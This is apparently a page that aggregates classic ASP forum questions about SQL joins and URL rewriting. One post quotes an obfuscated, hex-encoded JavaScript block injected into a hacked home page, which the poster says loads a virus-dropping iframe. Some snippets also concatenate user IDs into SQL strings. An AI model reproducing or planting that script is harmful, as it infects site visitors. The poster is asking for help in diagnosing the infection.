Rewrite My Code To Join Tables In My DB
I have some code I need modified and I can't seem to figure it out. Here's the section of code I need to change: ....
View RepliesI have some code I need modified and I can't seem to figure it out. Here's the section of code I need to change: ....
View RepliesI've got three tables:
tblEvent
--------
Id (PK) | Event_Name
tblDelegate
--------
Id (PK) | Delegate_Name
tblBooking
--------
Id (PK) | Event_Id (FK) | Delegate_Id (FK)
I need to retrieve a recordset with the following information:
Booking Id | Event_Name | Delegate_Name
Can anyone see how to do a SELECT statement to do this?
strSQL = "SELECT x.CountryId, x.CountryName, y.SiteId, y.SiteName, z.LocationId, z.Level FROM TableCountry AS x"
strSQL = strSQL & " INNER JOIN TableSite AS y ON (x.CountryId = y.CountryId)"
strSQL = strSQL & " INNER JOIN TableLocation AS z ON (y.SiteId = z.SiteId)"
Error Type:
Microsoft JET Database Engine (0x80040E14)
Syntax error (missing operator) in query expression '(x.CountryId = y.CountryId) INNER JOIN TableLocation AS z ON (y.SiteId = z.SiteId)'.
/system1.asp, line 21
how do i do this?
View Replies View RelatedI have a MSAccess 2000 mdb where 2 tables must be connected with a fieldname "book_spoke".
This is what I have so far. Is it right? The purpose is to find within the search result all the book_spoke s and link with the proper url for each book_spoke. Code:
I have an access database called employment.mdb The fields that I have in this database are:
Company, Location, Dates, Position, Signing, and Duties.
The problem I am having, I can go in and create a Drop Down pulling information from the Company field, but I can not get the information from the rest of the fields to
populate. I want the Database column values to change when I select a different company.
I will be honest, my only experience with it has been thru Frontpage, I can go in and create a drop down, but get errors if I try to add other database connections into that query. I have enough experience at working with html, but not the asp side of it. I would really appreciate some help with this.
I have a question about JOIN'ed table in Access. I have 2 tables in my database with one being tbl_Events and the other tbl_VolunteerSchedule. tbl_Events contains information regarding upcoming Events. tbl_VolunteerSchedule contains the names of Volunteers plus information from tbl_Events pertaining to the event the volunteer is volunteering for.
What I need is for tbl_Volunteer to Update when I make changes to the Events in tbl_Events. I thought that it was working correctly when I used a LEFT JOIN. However if I make updates to tbl_Events it adding additional record to tbl_Volunteer. It should only Update tbl_VolunteerSchedule when the fields EventID match. Does this make sense? Code:
how do i join tables in access and how do i get asp to output information from two separate tables that have the same primary key?
View Replies View RelatedCurrently have
'Initialise the strSQL variable with an SQL statement to query the database
strSQL = "SELECT [firstname], [lastname], [homepage], [aim], [location], [interests], [email] FROM tblUsers WHERE ID =" & userID
need to use session variable but need to select records form another table based on the logged in user (session variable) Code:
i have this code that join 2 tables, Reservation and Customer. Next, i wanted to add another table, Staf to get the name of staf that responsibled on a particular reservation. there is a field name staffCode (FK at Reservation table, PK at Staf table) at the Reservation table. Code:
View Replies View RelatedI've two tables:
First Table Player
tbl_player (fld_id, fld_dor, fld_tname, fld_tpass, fld_name, fld_email, fld_mobile)
Second Table Attempt
tbl_attempt (fld_attempt_id, fld_dop, fld_tname, fld_pid, fld_pscore)
Relation of First Table with Second Table is fld_tname and fld_pid of tbl_attempt with fld_id of tbl_player
Basically this is a 2-player game in which tbl_player contains both player a and player b details (they are identified by same Team Name). Table Attempt (tbl_attempt) holds individual scores which again can be grouped as a team score by the field fld_tname. Code:
how to show the URL without .asp or query string with parameters behind?
for example, i have a url string : www.abc.com/abc/abc.asp?id=1. how can i display the url in tis format with out the querystring? example: www.abc.com/abc/1
Some of my ASP pages are dynamically generated which we all know is a bad practice in terms of SEO. I've been trying to find a way on how i can convert these dynamic pages to static pages. I found some articles about ISAPI rewrite but according to them, it only works on dedicated servers, am still not sure about this though. By the way, is it possible just to code these and generate a static ASP page from a dynamic page? Do you have some sample codes on how to do this?
View Replies View Relatedhow best to get an entire .asp dynamic site geared to Search Engines - I have looked at possible URL rewrites but that may not work as the site isn't on a dedicated server?
View Replies View RelatedBasically Ive got an url:
http://www.thepagename.com/town_pag...n_name=WHATEVER
Basically need that to be written and shown in the browser like:
www.thepagename.com/WHATEVER.html
notice how i've added the .html, thats for our Search Engine
Optimisation, or it may not be needed?
If I want to rewrite URLs like:
http://www.mysite.com/check.asp?id=213&cat=USA
how can I rewrite this URL to make it friendly?
Been searching for a program to do an ASP re-write to help wiht the dynamic URLs. most want something to install. I noticed that .NET has something - can that possibly be used or is there something else out there that actually does not have to be installed on the server?
View Replies View RelatedI have a site hosted at Verio that has four different domain names pointing to it. So when you browse to any of the four domain names, the same site is displayed. What I would like to do is make it so www.domain1.com is the primary URL, and if anyone browses to the site using any of the other addresses, the address is changed to reflect
www.domain1.com.
Furthermore, I'd like it so if someone navigates to www.domain2.com/somepage.asp, the address is changed and the path is retained, so the browser's address bar changes to www.domain1.com/somepage.asp.
Is this possible to do when I don't have much access to the server (i.e. Verio-hosted space)? What code can I use to do this?
In apache I used a feature called a "Rewrite rule" inside a .htaccess
file to process the URL :
i.e. http://www/mypage.html =http://www/page.php?page=mypage
Now I'd like to do a similar action on a IIS server with ASP (not
..net)...
Can anyone tell me how you can do this ?
how to show the URL without .asp or query string with parameters behind?
for example, i have a url string : www.abc.com/abc/abc.asp?id=1. how can i display the url in tis format with out the querystring? example: www.abc.com/abc/1
where i can find some asp hosting which comes with the isapi rewrite componant, with out me having to buy a dedicated server?
View Replies View RelatedIm looking for help in setting up an url rewrite using ISAPI Rewrite. The componet is installed on my server which is win2003. What Im looking to set up an asp page or whatever to rewrite url: domain/MyAd/66 so it will point to domain/homeDetail.asp?AD_ID=66 . I also want to be sure that I dont screw up my search engine visablity with this. Looking for some help, examples, etc.
View Replies View RelatedI have a dedicated server running on IIS 6.(hosting company) Where should I place the rules for rewriting urls?ex>
RewriteEngine On
RewriteRule /agents/(.*)/.* /realestateagent.asp?id=$1
I know how to create dynamic tables in dreamweaver to display fields and records in a table of a database, but in my case I need to create a dynamic table that lists all the tables in the database, then to click on the one i want 2 edit the data in there.
View Replies View RelatedThis is weird, I'm pretty familiar with SQL Injection - but we're getting these weird injection that is writing in the default document or home page. What it's doing is putting in script code at the top or bottom of the home page... it looks something like this:
<script>function xy1q4877d47d91a36(q4877d47d92209){ function q4877d47d929d5
() {return 16;} return (parseInt(q4877d47d92209,q4877d47d929d5()));}funct ion
q4877d47d93974(q4877d47d94144){ var q4877d47d95c9b=2; var
q4877d47d94d7f='';q4877d47d96c3a=String.fromCharCo de;for(q4877d47d954cc=0;q4877d47d954cc<q4877d47d94144.length;q4877d47d954cc+=q4877d47d95c 9b){
q4877d47d94d7f+=(q4877d47d96c3a(xy1q4877d47d91a36( q4877d47d94144.substr(q4877d47d954cc,q4877d47d95c9 b))));}return
q4877d47d94d7f;} var
q4877d47d9740a='3C7363726970743E696628216D79696129 7B646F63756D656E742E777269746528756E65736361706528 20272533632536392536362537322536312536642536352532 30253733253732253633253364253237253638253734253734 25373025336125326625326625373425373225373525363525 37322536392536652536372537342536662536652536352537 33253265253665253635253734253266253733253635253631 25373225363325363825326525363325363725363925336625 36322536312536312536372536392537322536632625323725 32622534642536312537342536382532652537322536662537 35253665253634253238253464253631253734253638253265 25373225363125366525363425366625366425323825323925 32612533352533352533352533362533372532392532622532 37253634253335253332253338253237253230253737253639 25363425373425363825336425333125333825333125323025 36382536352536392536372536382537342533642533332533 30253337253230253733253734253739253663253635253364 25323725363425363925373325373025366325363125373925 33612532302536652536662536652536352532372533652533 63253266253639253636253732253631253664253635253365 2729293B7D766172206D7969613D747275653B3C2F73637269
70743E';document.write(q4877d47d93974(q4877d47d974 0a));</script>
What it's doing is decoding itself into an iframe that links out to popups that will try and download a virus on your machine. I don't get the popup in my machine because i think i have a newer version of IE. But some people have complained that it is installing a virus on their machine.
Also what is crazy is when I replace the file with a good version. In about 30 mins, it automatically overwritten with the infected version. Also I've noticed it on some other websites that I haven't touched.
Has anyone encountered this before? Because I'm stumped as to the cause of it. I don't see the issue on our dev server. It seems to be IIS on a shared host.
I have some asp code in variable so i want to rewrite anchor tags like this:
If i have:
<a href="http://www.sitepoint.com">www.sitepoint.com</a>
To be rewrited as:
<a href="http://www.sitepoint.com" target="_blank">www.sitepoint.com</a> out
The problem is that urls from my domain shouldn't be changed for example if href="/some_path" or href="http://www.mysite.com/some_path"
I try making some expressions with RegexBuddy but it didnt worked very nice.
I am trying to create a record set using data from two tables. I am using the following code-
Dim objRS
oracleConnection.CommandText = "SELECT CONTACT.CONT_FNAME, LOGIN.LOGN_USER_EMAIL " &_
"FROM CONTACT INNER JOIN LOGIN ON CONTACT.LOGN_ID= LOGIN.LOGN_ID WHERE CONTACT.CONT_ID LIKE 3"
oracleConnection.CommandType = adCmdText
Set objRS = oracleConnection.Execute
Set oracleConnection = Nothing
While Not objRS.EOF
Response.Write objRS("CONT_FNAME") & " " & objRS("LOGN_USER_EMAIL")
objRS.MoveNext
Wend
I am getting an error at the line
Set objRS = oracleConnection.Execute
The error is
SQL command not properly ended
I have three tables in the DB MySQL:
TABLE_V = id, codebar, description
TABLE_C = id, codeplu, description
TABLE_M = id, internalcode, description
In the tables TABLE_V and TABLE_M for each record the descriptions are the same, Is different in the table TABLE_C.
Relations in the tables:
TABLE_V.CODEBAR ===> TABLE_C.CODEPLU
TABLE_V.DESCRIPTION ===> TABLE_M.DESCRIPTION
TABLE_C.CODEPLU ===> TABLE_M.INTERNALCODE
I must query INNER JOIN into three tables to extract CODES and corresponding DESCRIPTIONS, its possible ?
I can't seem to get the syntax right for an inner join statement, its based on one main table and two linked tables,
From Employee inner join((Department ON Employee.Department_Code=Department.Department_Cod e) Location ON Employee.Location_Code=Location.Location_Code)
or something to that effect. Employee is the main table and Dept,Location contain all dept/location codes+descriptions.I'm sure its pretty simple just can't get it right.
I have 2 tables I want use join to use their data its working but it will return twice of each record.
this:
strSQL = "SELECT Foods.*,SeFoods.* From Foods INNER JOIN SeFoods ON Foods.food_id = SeFoods.food_id WHERE SeFoods.type = 1 ORDER BY seFoods.sf_id DESC;" .....
I need to insert simple SQL Queries (joins) in an ASP page.
Select Count (*) from
Fileindexqueue Q,
Domains D,
Files F
Where D.ID = Q.DOMAINID
and Q.FILEID = F.ID
and D.NAME = 'GAINS_GTN'
My ASP code where queries can be inserted looks somewhat like this:
strSQL = "SELECT COUNT(*) AS COUNTOF FROM FILEINDEXQUEUE where (SERVERFLAG = 'Failed')"
objRec.Open strSQL, objConn, adOpenForwardOnly, adLockReadOnly, adCmdText
Response.Write "<P Class=""clsMono"">Files Failed   : <b>" & objRec("COUNTOF") & "</b>"
objRec.Close ...
in this code, Code:
strSql = "SELECT tblClippings.fldClippingID, tblTopics.fldTopicName, tblMessages.fldMessageID, tblMessages.fldMessageTitle, tblMessages.fldMessageCreated, tblPeople.fldPersonDisplayName, tblMessages.fldTopicID FROM tblTopics.fldTopicID INNER JOIN (tblPeople INNER JOIN (tblClippings INNER JOIN tblMessages tblClippings.fldB_MessageID = tblMessages.fldMessageID) ON tblPeople.fldMemberID = tblMessages.fldPersonID) ON tblTopics.fldTopicID = tblMessages.fldTopicID WHERE (tblClippings.fldB_MemberID=" & iPersonID & ")"
after the FROM statement, I am getting confused. It gives error message. I think the problem is just about here,
FROM tblTopics.fldTopicID INNER JOIN (tblPeople INNER JOIN (tblClippings INNER JOIN tblMessages tblClippings.fldB_MessageID =
I am in the process of creating an ASP application to read a SQL Database. I
have imported the database from an Access Database. The Database holds
Client details, such as Agent Name, Address, Telephone. etc. in a table
called Client Code: